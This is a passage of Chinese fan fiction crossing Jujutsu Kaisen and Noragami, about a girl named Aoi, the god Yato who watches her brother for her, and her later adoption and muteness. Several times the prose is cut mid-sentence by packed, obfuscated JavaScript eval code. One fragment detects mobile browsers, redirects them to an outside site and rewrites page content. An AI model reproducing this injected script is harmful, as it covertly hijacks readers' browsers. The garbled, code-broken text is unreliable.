夏油葵就这么静静地看着夜斗强装镇定。 少年的神态动作映入她璀璨的双眸,被抽丝剥茧地拆析到底是什么让眼前的少年这么难于跟自己开口。 “是被发现了吗?” 这是她所能接受最差劲的结果。 就在一周之前,夏油葵从自己的床垫下面抽出了那张被折叠地整整齐齐,压了一年多的广告。 纸张的材质不是很好,拿在手里湿凉的,像是沁入了水珠,有些发软。 女孩小心翼翼抚平格外脆弱的折痕处,拿起手机拨打了上面记录的电话。 电话那边的人,不,神明,是当初护送她回乡下的保镖,也可以是调查夏油杰行踪的侦探。 一个拥有独特才能、实力强大、跟怪物战斗拯救世人的高专生? 听起来是少年漫的主角。 但作者笔下的HE结局,又是谁来为现实中的夏油杰书写呢? 夏油葵事后意识到了她哥这个学校上得有多危险。 她做不到让夏油杰给自己报行踪报平安,但是花个五元钱雇个神明去查一查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他就是憋不住自己将要扬眉吐气的激动,在壹岐日和的询问下说出了自己有多么的能干,结果被少女一句“夜斗是笨蛋吗!”顶回来了。 少女幽紫色的瞳孔里都快生成扇形图了。一份惊讶,两份愤怒,七份沉甸甸的心疼。 她灵魂离体的时候看见过咒灵,但是是第一次知道竟然有差不多年龄的学生在承担着这样沉重的责任。而他们身为普通人的家人甚至不知道自己的亲人在做多么危险的事情。 “大部分咒术师还是世袭的才能的。” “拥有咒力的孩子就不是孩子了吗?” “还有那种能看见咒灵但没能力除去它们的人,不是太悲惨了吗?!” 夜斗的话完全安慰不到少女,还有点火上浇油。 她认真的看向夜斗,“所以你打算怎么说?” “......直说?”少年已经失去了刚才意气风发的样子,湛蓝色的眼睛半眯着去观察少女的神色,语气中满是不确定感。 “当然不行!”日和坚定的否决了。“那孩子才七岁,怎么能这么直白地说那么血腥的故事。” “也没有很血腥吧?......这不是还活着吗?” 日和的拳头硬了,脑门上蹦出来好几个“井”字。 任务目标被枪杀了不算血腥?!其中一个少年脑袋都被开瓢了不算血腥?!差点就全军覆没了还不算血腥?! 难不成是打算完完整整一字一句地转达给七岁的孩子吗?! 这地上流的血是都被这个神经大条的神明晚上接私单给擦干净了是吗?! 壹岐日和努力抚平自己的脾气,安慰自己神明就是这个样子的,自己要好好引导,结果被旁边雪音插嘴的一句话给整破防了。 雪·新晋神器·失忆状态·懵懂少年·音挠了挠后颈,少见的向着夜斗说了一句:“一个会找神明当私家侦探的女孩,应该没什么听不了的吧?” 闻言夜斗瞪大了眼睛,心中生出“孩子终于长大了”的欣慰,日和则彻底沉默了,有一种抬脚狠狠飞踢却踢到棉花上的无力感。 或许比那还无力。 少女没了脾气,起身跟两位人类样子但不是人的告别了。 没有骂人的意思,只是在坐的除了她都不是人而已.jpg 微笑.jpg 7. 小学篇 显而易见。 看似没有被日和说服的夜斗其实已经听进去了。 或许是少女离开时那种看垃圾的眼神太锐利,刺穿了夜斗脆弱的神明心(bushi)。 但是问题被提出来了,解决的方法又在哪里? 日和!你走之前一句建议都不给我留下的吗?!! 夜斗像一个石像一样僵硬在电线杆旁,恨不得化身成风干的胶水黏在电线杆上,不再面对夏油葵的视线。 他也不是什么很笨的神明,也不是多么不通人情世故。 之前是没想过要对夏油葵委婉,现在是想委婉也不知道该怎么委婉。 而且那种把自己当作大人给孩子美化编织什么童话故事,他真的没胆量在夏油葵面前做的! 不如说看见那双金色的双眸,他能改口不喊出“大人”已经算他能分得清眼前的孩子和记忆中的人了。 夏油葵仰着头等了夜斗很久,眉头都忍不住抽搐起来。 她现在感觉有一个达克摩斯之剑悬在自己的头上,要落不落的。而执剑人却比自己还要纠结无助,要松手不松手的。 到底是怎样才如此说不出口。 再拉长点时间,她就忍不住要怀疑夏油杰已经不在人世了。 “夜斗!” “到!” “说!” “是!” 夜斗双臂贴在身侧站得笔直,还是倒豆子一般把他查到的那些经过都灌进了夏油葵的耳朵。 “......” 夏油葵听完之后陷入了沉思。 “什么是‘砰’、‘唰’、‘扑哧’?” 好不容易想出用拟声词描述战斗惨状的夜斗脑门上的汗还没来得及擦,就又被夏油葵硬控住了。 他就说不好糊弄的吧! 这位百年后依旧落魄的神明,完全没有意识到自己不仅没有拥有更多的信徒,连以前保持冷酷的表情管理都做不到了。 或许只是在这双眼睛的注视下装不下去。 “......好吧,辛苦了。” 夏油葵到底还是放过了夜斗,五元钱能换到这么多信息她已经很感激了。 所以夏油葵又从兜里摸出来一枚硬币递了出去。放过了夜斗却没完全放过。 “还是要继续麻烦你了。” “什么时候有空帮我去看一眼就可以。” 夜斗一副快要破碎的样子,颤颤巍巍地从女孩手里接过了硬币。 “你的愿望我听到了......”这绝对是他最不情愿的一次。 果然咒术界什么的就是跟他这个祸津神不对付! 按逻辑来说神明和咒灵都是人类的产物。只不过前者来自于祈愿,后者来自于负面情绪。 从愿望中诞生的神明回应人类的期望,由情绪汇聚的咒灵则被咒术师所祓除。 趾高气昂的咒术界把神明也定义为咒灵的一个分支,有用的神明就供奉利用,无用的神明就弃如草履。 总而言之就是当成工具一样,真正做到了把神明不当人看。 像夜斗这样的祸津神肯定是对咒术界避而远之的。 如果不是想要去回应夏油葵的愿望,他绝对不会靠近那些老腐朽半步! 也不知道那些六七十岁的人是怎么做到比成百上千岁的神明还迂腐的...... 一把年纪但又小小年纪的少年目送着女孩离开,等到彻底看不见了,转身从不远处的绿化带里掏出来一桶胶水和一叠广告。 会毁形象的事情他是决计不会再在夏油葵面前做了。 但是该打的广告还是要打的,商场如战场,电线杆向来都是兵家必争之地,早一步就会被后来者居上,晚一步也免不了被后浪拍在沙滩上。 只有常走常看,常贴常新,才能永远在这一小片希望的土壤上开出能被人闻得芬芳的鲜艳的花! 夜斗一边自我感动,一边利索地贴上自己辛苦手绘的小广告,朝着下一个电线杆进发。 “啊!” “抱歉抱歉,这就帮您捡起来。” 年轻的妈妈连忙扶助自己的孩子,向着他撞到的女人道歉。 女人看着滚落一地的蔬菜面色不改,也没有理会对面的歉意,缓慢中略带僵硬地蹲下身子去捡拾。 细长苍白的的手指好像刚刚习得如何抓握,不慎灵活的一触把本就圆滚滚的番茄推得更远了。 直直滚到了夜斗的脚边,然后“噗叽”,被夜斗一个后撤步踩烂了。 “啊......?” 夜斗立即低头,又一副闯祸了的表情向身后看去,跟女人对上了视线。 她能看见我? 幸运的夜斗又发现了自己的有缘人。 神明就是站在普通人面前都会被无视的,尤其是夜斗这样无人供奉的小神,只有缘分比较深的人才可以发现他并朝他说出自己的心愿。 没有很多人与他有缘,更没有很多有缘人会朝他提出愿望。 夜斗深知机会都是要自己把握的,甚至要自己创造。 他连忙撤回一步在地上蹭了蹭鞋底隐藏罪证,而后向前跨出一步准备搭话,却被对面避开了视线。 夜斗脸上挂着的职业微笑都要放不住了。 也不至于这么无视吧?我可是踩烂了你的番茄啊喂! 他忍住了吐槽的欲望,想着上前帮忙捡捡东西拉进一下关系。 女人对此视而不见。在她的动作下,额上的刘海轻微地晃动,隐隐漏出来一条长长的缝合线,被夜斗浅淡的瞳孔捕捉到了。 这条线......怎么那么眼熟呢? 下一秒,更加令他眼熟的黑猫坐立在女人身后的围墙之上。 金色的竖瞳懒散地半眯着,尾巴在身后悠闲地摇摆,好似下一刻就会顺势躺下小憩一会。 ? ?????? 夜斗就地扔下手中的蔬果赶紧往后大退几步。 他想起来了,这缝合线跟杀死大人前世的男人是同款啊! 目前人类应该还没有发展到能做这样大型手术的程度吧? 所以......是同一个人? 诶呀,一定是同一个,大人的分身就在墙上站着呢! 夜斗对这双眼睛再熟悉不过。 他能一眼看出夏油葵是那位大人的转世,也能一眼认出对面的黑猫就是大人的分身。 当初他收到来自大人的请帖就是这样子的黑猫叼来的。 啧啧啧,这是被大人盯上了啊~ 夜斗为女人点蜡。 大人按理说不会去计较做普通人时的得失,看来这个不知道哪来的缝合线“妖怪”在哪一点真真正正招惹到大人了。 不过大人在当普通人的时候不是不能动用能力吗?难不成是又研究出来了什么新的咒缚? 不愧是大人! 夜斗向着黑猫投去了钦佩的目光。 带着孩子的妈妈不知道在场有这么多生物,惊讶于散落四处的蔬果就这样聚集在身旁了,也没时间去细想,赶紧帮着女人装进了篮子。 “真的抱歉了。”她再次鞠躬。 女人依旧没有回应她,只是沉默的拿起篮子,暗暗朝夜斗看向的方向瞥了一眼。 只有一只麻雀飞到墙头上歇脚,蹦蹦跳跳地左右挪动自己的位置。 她本能够看到的黑猫先一步从墙上跳下,已经融入她的影子之中了。 —— 夏油葵端坐在学习椅上面对着作业本神游了好久。 突然她站起身来走到床边,把自己深深地埋进柔软的被子里。 她大概理清楚夜斗说的话了。 整个事件中的几个核心人物,要么是已经死掉了,要么是差点死掉。 险些,她就再也见不到夏油杰了...... 夏油葵后知后觉地有些害怕,下意识摸出手机又被屏幕上简洁明了的“收到”刺了眼。 已经连续好久,她没有再从这个聊天对话框中看见来自于对方的其他字眼。那一点涌上来的情绪被冰冷的对话框击打地郁结在心头。 她尝试在少得可怜的相处中翻找出夏油杰劫后余生的证据。 就是昆虫园那次,少年以什么都能摆平的姿态闪亮登场,又在夏油葵追问“夏令营”相关事宜后匆匆离场。 脸上看不见任何“啊,我还活着,我还能见到我的朋友和亲人”的感叹,只是肃穆,好像时时刻刻都在思考。 他在想什么呢? 即使是了解到了相关的情况,夏油葵也剖析不了夏油杰的内心。 她讨厌这种什么也做不到的感觉。 那些据说伤害不到她的咒灵,对她来说也不过就是薛定谔的猫。 她时不时能透过别人的眼睛“看”到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380280|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又在她的能力作用下消失了。 夏油葵拥有“受害人”口中屏蔽所有咒灵的能力。只要是被她有意识去保护的对象都会像她一样看不见那些诡异的生物,也不会被它们伤害。 所有被她保护的人类都是一副精神恍惚的模样,先是把她拖拽着踉跄几步,神经紧绷焦急地想要挣脱,又在发现无事发生时怔愣着回头看她,眼睛里闪着泪花,仿佛看见阳光终于穿透乌云的阻碍直射进阴暗的街巷,映在他的脸上。 夏油葵没有因此觉得自己多厉害多与众不同,被夸张的形容成神明的时候也只是沉默的没有什么表示。 她对救人、对展现自己的力量无感,只是这种能力能帮助到奶奶,能让她在人生最后的几个年头里摆脱掉自己的梦魇,夏油葵对此感到开心。 总是义无反顾地在察觉到有人可能被咒灵困扰时就会出手,也不过是遵循奶奶的嘱咐罢了。 只有被奶奶称作“神明的孩子”的时候,她才会感觉到被认可的骄傲,甚至在第一次见夜斗时很认真地问了她自己是不是真的是神明的后代,并成功收获了一个语塞的神明。 这个能力不过是能让奶奶开心的工具,现在却让夏油葵觉得不满足了。 她想要真正的去看见咒灵。 她与生俱来的天赋可以救下任何在她身边的人,但救不了夏油杰。 因为他不需要。 等到真正需要的时候他的身边也不会存在一个夏油葵。 如果我能成为一个咒术师就好了。夏油葵忍不住这样想。 至少是可以看得见咒灵的程度。这样夏油杰说不定会轻言细语地安抚受到惊吓的她,而不是像现在这样冷处理,把一切都当成秘密埋藏,反正她也不会受到伤害,多说一句少说一句又有什么区别。 夏油葵的脸埋在被子里深深的呼出一口气。 什么时候才可以长大? 这样她就可以在没有管制的空气里坚定地走向那个世界了。 无所谓她能不能看见,无所谓她是不是个没天赋的普通人,总有一条路会被她开辟出来。 夏油葵又从被子里抬起小半张脸,拿起手机摁来摁去。 明天的行程行云流水般的被她打在聊天框内,但迟迟没有点下发送。 流金的眸子一动不动地盯着屏幕,突然生出几分叛逆。 今天不发了。 夏油葵一下一下地按键删除,直到聊天框内空空如也。 坚持了一年多的习惯是时候该打破了。 总有人在改变,虽然目前不是她夏油葵,但她不介意成为钓鱼的饵料。 ...... 午夜十二点,月光透过轻薄的窗纱打在安睡的女孩身上。 女孩睡得并不安稳,微蹙着眉头,时不时翻身,好像一直也没寻找到最心仪的睡姿。 充满电的手机不想以前一样放在书桌上,而是安置在自己的枕边。 突然手机上的小块光源亮了一下,随后音量拉到最满的来电铃声在女孩的耳边爆炸。 “......喂?” 夏油葵被惊醒,一下子弹坐起身子,在震耳欲聋的音乐中摸索了半晌才大脑上线找准了手机的位置。 “葵。” 手机传递来的少年音带了些疲惫的沙哑。 “今天过得怎么样?” “......很开心。” “老师很好,课程也不难,放学后跟朋友们一起打排球很开心......” “啊,已经12点了?”夏油杰出声打断了夏油葵的话。 他特训到现在,打开手机发现夏油葵没给他发消息才打了这个电话。刚刚看了一眼时间才意识到很晚了。 “那就快睡吧,起来别忘了给我发消息,葵。” “......好的,晚安。” “晚安。” “嘟——嘟——” 夏油葵想说的话还没有说完。 但好像也不是什么重要的话。 只不过是想告诉夏油杰这样普通平凡的生活真的很快乐,要不要回家休息一下......之类的话罢了。 好不容易入睡的女孩彻底清醒了。 她如愿等到了少年的回应,却也毫无收获,四肢都泛着无力感。 真是失败啊...... 女孩怀着不知对谁的怨怼,再次尝试入睡。 8. 小学篇 【小葵,杰他不是故意的,就是太敏感了,他小时候你不知道的......经历过很多。】 时间总是悄无声息的就消逝掉。 转眼一个季节就过去,来到了期待落雪的时节。 自那日以后发生了很多事。 比如训练过度的研磨一回家就发烧了,自此黑尾对研磨的运动量控制的越来越精准严格;比如发现松下老师原来是初中部的排球教练,返聘到小学养老,一半多的排球社成员都是忽忽悠悠就被他忽悠进来了;比如美佳终于摆脱了圆滚滚的模样,排球打得越来越好,在班级里话也变多了。 还有夜斗一直在帮夏油葵关注着夏油杰那边。 虽然做不到凑近去偷听人家说话,但基本的动向和任务情况都能知道。 经过多次的沟通请教,被少女喊作“笨蛋”的神明也终于学会模糊一些不重要的细节,在汇报工作的时候愈发游刃有余,收硬币的动作也恢复往日的张扬,变得干脆利落了。 “小葵,你看!” 江头美佳拿了一个黄色的向日葵发卡别在头发上,一脸期待地看向夏油葵。 “嗯,超好看的。”夏油葵毫不吝啬自己的夸赞。 转手她选了一个草莓发卡也戴上了。 “这样我们就一样好看了。” “嗯嗯!”美佳狠狠的点头,眼睛里满是blingbling的光。 她每次跟夏油葵逛饰品店的时候都很激动。 不只是能在漂漂亮亮可可爱爱琳琅满目的饰品里面挑挑选选,更是能找到一些隐藏版“好友同款”。 她真的恨不得上上下下都跟夏油葵穿搭的很搭配,以此彰显出二人如胶似漆的友谊。 夏油葵在这一点上对美佳无限纵容。 她没有什么偏好的风格,美佳选什么她就喜欢什么。 而且美佳喜欢钻研这些东西。时尚杂志在她的床下有好几箱子。 这次来逛饰品店也是来给朋友们挑选圣诞节礼物的,听美佳的意见总不会出错。 但是显然美佳已经忘记了来这里的目的,像是一只蝴蝶扑进一大片的花田,乱了她的心,迷了她的眼。 她拽着夏油葵到处看到处试,把这个店反反复复逛了三遍,才在夏油葵的提示下开始给其他朋友挑选礼物。 “给前辈们买汗巾就可以了吧。” “反正他们天天运动,戴着饰品反而不方便。” 夏油葵觉得很有道理,但感觉处处又透着点敷衍。 “可没有不用心,我会为他们挑选最好看的汗巾!”江头美佳拍着胸脯为自己正名。 “嗯,美佳你觉得这个怎么样?” 夏油葵拿起了一根发带,长长的一条印着浮世绘的经典图案,层层叠叠的海浪让人见到便觉得宽广浩荡。 “这个......送给研磨吗?感觉不是很搭。” 发带的话,头发长度能用的上的只有研磨了。 “不是,给哥哥的。” 哥哥?啊,夏油杰! emmm 美佳皱着脸努力在想夏油杰的风格,戴上这个发带能是什么样子。 最终微张着嘴大脑放空了。 美佳眨了眨眼,“我好像......有点忘记他长什么样子了?” 夏油葵闻言动作一顿,犹豫了一下还是决定把这个发带买下来。 国文老师说过,大海的蓝色不是什么忧郁的蓝色,而是让人看了便舒心豁达的色彩。 她想把这片大海买下来送给夏油杰。 据夜斗所说夏油杰这两天要去乡下出任务,等回来应该正好能赶上圣诞节。 到时候她就借机问问夏油杰有没有时间回家一趟,至少也要把这个礼物送到他的手里。 —— 给朋友买的礼物塞满了夏油葵的书包。 她重新规划了一下位置,把属于夏油杰的礼盒提在了手里。 跟美佳在车站前告别,夏油葵一步一步地走回家。 今天她忘记戴手套,左手插在兜里,右手手指攥着礼品盒的带子紧紧缩进袖口来抵御寒气。 她轻轻呼出一口气,白色的雾气从她的口中吐出,被一阵冷风吹散了。 夏油葵很怕冷,但又很喜欢冬天。 即便她是在冬天被人遗弃的,即便奶奶是在冬天离开她的,她也依旧喜欢。 太阳高高挂着却不炽热,夜晚早早的就到来,街景光秃秃的等待下一茬新芽,路上的人拥挤着路过也不觉得燥动。 所有人都朝着温暖的地方赶路,平稳的将这一年最后的时间度过,缓口气不会有过多焦虑。 夏油葵尤其喜欢下雪。不是那种银装素裹,而是雪粒从天上飘下来,她可以坐在窗前看好久。 不像雨滴砸落那么急促,雪花无声无息的可以让她盯着安静地发呆。 她的生日被奶奶定在平安夜,也就是明天了。 去年夏油杰特意回来帮她庆祝生日,今年也不知道能不能等到。 “快点下雪吧......” 奶奶说下雪天会有好运气的。 比如说奶奶捡到了她,或许她也可以收获一个回家的夏油杰。 路过倒数第二个电线杆的时候夏油葵还特意多看了一眼。 今日没有神明等候。 她继续往前走,终于到了家门前。 之前装礼物的时候她顺手把钥匙放进书包里了,现在她冻手冻脚地不想再去拿钥匙。 想着这个时间爸爸妈妈应该回来了,就按响了门铃。 …… …… 【“小葵,你哥哥他不是故意说你心理......早熟的。” “普通人就是这样,易碎、敏感、无知,却拥有能杀死人的极大恶念。” “杰他从小就很敏感,能看到别人看不到的,也被我们带着看了很多次心理医生。” “所以从源头解决就好了,这样无辜的人就不会被卷进无妄的纷争中了。” “我们的行为没有帮助到他,反而让他学会了在我们面前表演无事发生......一直欠他一句抱歉,又不知道怎么开口。” “我想了很久,终于找到了这一条正确的路。” “拜托小葵迁就一下哥哥,他是很爱我们的。” “就这样走下去吧……”】 夏油妈妈和夏油杰的声音交替在夏油葵的睡梦中回响,睁开眼便是医院洁白的吊顶。 五条悟动用了点关系,把夏油葵从普通病房转到了VIP。 这样也方便了一歧日和,虽然夏油葵住的是自家开的医院,但是时时都有咒术界的人关注着,她是找不到理由搪塞那帮人为什么给夏油葵升病房,接受更专业的治疗的。 总不能说自己恰巧路过,恰巧善心大发。 现在也只能在晚上用魂体跟着夜斗来看望这个可怜的女孩。 心软的少女,泪水都快在这个病房里流干了。 “真是太过分了!” 一歧日和小声地大声怒骂,她恨不得穿越到现场给夏油杰来一个过肩摔,然后扔过去甩过来扔过去甩过来,最后捅到垃圾箱里去。 怎么能有这个样子的人?! 就算是不得不去面对咒灵、与咒灵战斗确实很可怜,也盖不过他杀害父母,残害手足的罪行! 果真是验证了那句可怜之人必有可恨之处! 一歧日和又陷入了自己的脑内小剧场,眼眶发红,脸颊气得鼓了起来,双手不自觉攥拳,两双腿挺得笔直,好像下一秒就能跟眼前虚幻的夏油杰打起来。 即使她根本没有见过夏油杰本人,只看到过他的照片...... 一想到照片,她更生气了! “咒术界是不是没一个好人啊?!” 向来不随意评判别人的少女也忍不住对这个组织产生刻板印象了。 怎么会有那么坏的人! 硬把还活着的孩子判为失踪,不允许联系任何熟悉的人,并且还把“犯人”的照片怼在刚清醒的孩子面前问认不认识! 人性在哪里?! 道德在哪里?! 良心、良心是都被夏油杰打包带走了吗?!! 幸好......女孩失忆了。 夏油葵被夏油杰扔在房间里,是被来探查情况的辅助监督发现的。 颈部骇人的掐痕导致女孩短时间内无法进食,也无法发出声音。 女孩除刚清醒时的懵懂,就只是平静冷淡的看着,或是在发呆,没有任何多余的表情。 虚弱安静地躺着,像是丢了灵魂,只剩下纸拼的身体奄奄一息被放置在病床上。 夏油杰的照片也映不进她的眼睛,甚至还流露出几分茫然,像是在问“这是谁?”“为什么要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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巴掌大的脸上扑上一层白粉,唇红如血,妆面如假面紧紧扣在少女的脸上,只剩那双属于少女自己的双眼木然地看着对面铜镜里的自己。 夜斗仗着自己不会随便被普通人看见,当着门口守卫的面进了房间。进来却发现里面的人也不少,都死死地盯着椅子上的少女,生怕自己一眨眼便把人给丢了。 他视若无物走到少女身边,半侧身子入了少女面前的铜镜,张了张嘴却不知道该说些什么。 怀里的邀请函突然变得有些烫手。 那位大人是不可言说的存在,对人类分外好奇,连带着施舍给了神明点关心。 神明是人类心愿的造物,与人有关任何事物的泯灭都会让大人感到一点惋惜,所以祂给了这些即将消亡的祸津神一个机会。 找到祂的化身,或许可以得到一丝转机——帖子上写的差不多是这个意思。 但是现在真正找到了,又该说些什么呢? 总不能说“你当人之前答应过找到你就可以帮我活下去”这种不知所云的话吧? 夜斗在少女身后环胸而立换,纠结得表情愈发冷峻了,却不期然在铜镜中与少女对上了视线。 少女朱唇轻启,却没有发出一丝声音—— [带我走] 怀中的请帖突然变作一枚五元硬币滑坠至神明的腰间,卡在腰带的缝隙处。 “......你的愿望,我听到了。” 神明舒展眉头如是说道。 现在病床上女孩的状态和那时初见的少女别无二致。 夜斗分不清女孩是真的被刺激地失了忆,还是说只是一如当时的少女在逃避,说服自己接受了命运,龟缩进自己搭建的壳子里。 但是他一如既往无能为力,帮不上任何忙,也不被允许去帮忙,只能眼睁睁地看着女孩走进混沌命运的漩涡。 离开了医院夏油葵又能往哪里去呢? 夜斗第一次如此希冀着身旁善良的一歧日和能够伸出援手做点什么,下一秒又意识到了什么反手狠狠甩了自己一个巴掌。 清脆的响声在空荡的病房中回荡,夏油葵的睫毛都随着声音轻轻颤了颤。 “你干什么呢?!” 一歧日和震惊地抓住了夜斗的手,以防这位神明再做出什么无法预料的动作。 “......没什么。”夜斗轻轻痛呼着用另一只手捂住了脸。 “想了点不好的事情,自罚一掌。” 夜斗在少女看神经病的目光下嘿嘿吐舌笑了一下。 把压力给到日和简直太逊了,一定不是他想的! 看开点,无论是好是坏都是大人期待经历的,不要插手顺其自然就好啦~ 顺其自然就好...... 9. 新生篇 7年后—— 宽敞明亮的教室整齐地排列着一个个萝卜头。 本本教科书摊放在书桌上,其上或工整或潦草的笔记彰显着主人的习惯。 洁白的粉笔在黑板上留下流畅的痕迹,下一秒又以一个极度优美的抛物线稳准狠地擦过某位孩子的脸颊。 “有什么八卦,要不跟大家分享一下?” 老师云淡风轻的语气把偷偷说小话的孩子闹了个大红脸。 其他孩子转过头来看他,没憋住笑出了声,严肃的课堂顿时欢脱起来。 “好吧。”老师用手指敲了敲黑板吸引孩子们的注意,“感谢石田君帮老师活跃气氛。” “下次如果觉得枯燥了可以直接举手跟老师说。” “那接下来,就着这个氛围,我们来角色扮演朗读课文吧。” “好~”萝卜头们大声整齐地回应道。 只除了那个坐在靠窗最角落的女孩,并未出声,只是在脸上挂着微笑。 夏油葵,不,日向葵如今已经十四岁了。 乌黑的头发乖巧精致地编在脑后,头上别着的碎花发箍与身上的裙子相呼应,映衬得愈发淑女,与身边穿T恤配短裤的同学格格不入。 女孩原本璀璨的双眸收敛了光彩,原来做什么表情都不够浓烈的面庞却变得松软、鲜活了,毫不吝啬于展现自己的情绪。 课堂里的活动火热进行中。 日向葵习以为常安静地看着,听着,也无人指责她偷懒。 因为所有人都知道,她是个不能说话的哑巴。 ...... “铃——” “好吧,下课。” “起立!” “老师再见——” 一堂生趣的国文课结束了,日向葵伸了个懒腰,瞄了眼黑板边上写着的课表,从桌洞里往外掏书。 突然她的手感受到一阵阻力,另一个手掌狠狠摁住了她刚刚放到桌上的课本,也碍住了她想松开的手指。 “花瓶小姐,这节课上得怎么样啊?” 对面的女孩带着调笑的语气,手按在课本上没有松开。 日向葵眨了眨眼,面无表情地从课本下抽出手指,朝女孩招了招手,示意她凑近一些。 “啊?怎么?”女孩在疑惑中乖巧凑近,心里还不自觉夹了几分期待。 “嘣!” “啊,痛痛痛!” 日向葵毫不削减力道的脑瓜崩打得女孩步步后退。 “力道也太大了吧!”植野直花捂着额头含泪控诉。 一旁扎着双麻花的女孩——川井未希忍不住捂嘴笑了,“哈哈哈,还不是小直你先来调戏小葵的。” 日向葵又露出了恰到好处的微笑,随手摸出一颗糖扔进了植野的怀里,也递给川井一个。 “一颗糖就......好吧,我原谅你了。”得了便宜还卖乖的女孩剥开糖衣把糖扔进嘴里,转头跟旁边的川井未希聊昨晚播的偶像剧。 两人就站在日向葵的身边聊起来了,是那种不知情的人看过去都会误以为这是三个人的话题的程度。 日向葵早已习以为常。 这一切的一切都要从那个女人说起,也就是目前日向葵的妈妈——日向野子。 当年日向葵到福利院没两天就被日向野子风风火火地收养了。 “我姓日向,她叫葵,这不是绝配吗~” 女人这么跟院长说着,然后又风风火火地办完了手续,把日向葵直接带出国了。 日向葵的嗓子还没有完全恢复,整个人也是呆呆愣愣的,本来也不好沟通,又直接被拖到异国他乡,彻底也不用沟通了。 日向野子也没在意这一点,反正嗓子嘛,养好就可以了。 她是个刚辞职没多久的社畜,整个人就是懒惰中透出一点重获自由的活力。 到了国外先是在宾馆的床上睡了吃吃了睡,而后就是到处打卡景点,像是要把曾经没得到的一口气全补回来。 对待日向葵也是满意极了。 也不哭也不闹,让做啥就做啥,像个芭比娃娃一样想打扮成什么样子都可以,带到哪里都能收获一众外国人羡慕的目光,把她美得直接化身炫娃狂魔。 直到钱花的差不多了,日向野子才意识到日向葵不仅一句话都没说过,连一个音调都没蹦出来过。 按理说嗓子早就该痊愈了?怎么还不说话呢? 是不是太久没说话忘记怎么说了? 日向野子加急买了一本儿童读物,好不容易找到的日语版,指着自己的口型让对面的日向葵跟读。 穿着宫廷风洛可可的女孩第一次没有回应养母的期待。 好像是完全没有领会她的意思,看都没看一眼摊开的故事书,转手从日向野子随身的背包里抽出来一份地图,朝她指了一下未打卡的位置。 日向野子愣了片刻,手指插入自己的发缝,抱着脑袋愧疚了起来。 啊啊啊啊啊啊啊啊啊啊啊,我是不是压根不适合养孩子啊? 当初就是想做好事消除一下身上的业力,看人家孩子好看就没忍住下手了。 院长说孩子的嗓子坏了,看过医生,慢慢养着就好,所以她也没当成什么大事,也就刚开始一段时间注意饮食清淡一些,后来就无所顾忌了。 好不容易离开职场净想着让自己快乐,孩子得“失语症”了竟然都没有发现?! 啊!简直是太失败了! 女人踉跄着爬上床,捂着脸开始来回翻滚,在柔软的床铺上惩罚自己的粗心。 旁边的日向葵不明所以,把地图折好塞了回去,又被突然蹦坐起来的日向野子吓了一跳。 女人环顾四周,抓住撇在一边的手机开始敲敲打打,不到三分钟就给日向葵预约好了一名心理医生,还特意找的日裔。 她转头泪汪汪地看向日向葵,眼睛里好像写着“相信我,一定能把你治好!” 但是日向葵并没有读懂,直到她被日向野子领到诊所门口都没有读懂。 日向葵没见过心理医生,日向野子怕孩子产生抵抗心理也没跟日向葵明说,这位心理医生把诊所布置的很温馨,本人也没穿白大褂,也不像是个心理医生。 女孩就这样糊里糊涂的跟心理医生玩了两个小时,还以为是养母有事不方便带自己,找朋友托管一下。 直到日向野子又一脸惭愧地把自己带到了医院,日向葵才彻底读懂了这一系列的行为。 妈妈好像......在帮我治病? 被心理医生教育过的新手妈妈也终于找对了方向。 对嘛,哪有孩子生病不先从生理上找原因,先从心理上找原因的? 日向野子快被自己蠢哭了。 她蹲下身子双手握住日向葵的手臂,温柔地嘱咐:“妈妈陪你去看一下医生,都是很好的人,到时候医生让你做什么就做什么,不用害怕的~” 一口流利外语长相深邃的外国医生,不知道会不会成为孩子的童年噩梦。 日向野子的怜爱快要溢出眼眶,对面的日向葵却少见的露出来一副苦闷的表情。 她现在应该怎样告诉她的母亲,当时没说话,是因为不想说话——不想通过动嘴的方式说话。 而且日向女士的神经也有些太大条了。 折腾了这一路也不知道问她一句为什么不说话,明明已经带着她在外国人圈子里七进七出了,还在担心她会害怕与外国人面对面。 母爱泛滥,日向葵却感觉自己身上干燥极了。 “......” 日向葵认命了,反握住日向野子的手,一字一顿地说: “妈妈......我没事的。” ...... 不到五分钟,女孩与医生顺利会晤了。 “张大嘴巴,啊——”医生夸张的手势与表情毫无障碍地把意思传达给日向葵。 站在她身后的日向野子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且她又在这所学校当老师,虽然为了避嫌不能教自己孩子的班级,但是基本没人敢惹老师的孩子,尤其是这个老师的性格还很强势。 双保险啊,日向野子觉得自己的想法棒极了。 事实也如她所想的那样,日向葵在低年级堪称如鱼得水,成绩稳坐第一宝位,也没有孩子敢对她恶作剧......甚至都不太敢接近她。 开始还是有孩子抱着好奇心跟她对话,然后都被手语劝退。 日向葵没有被谁孤立,而是把所有人都孤立了。 她脸上总是挂着得体的微笑,有人跟她搭话她会先用手语回复,然后在对面的尴尬中露出一副为难的模样,把回复写在纸上。 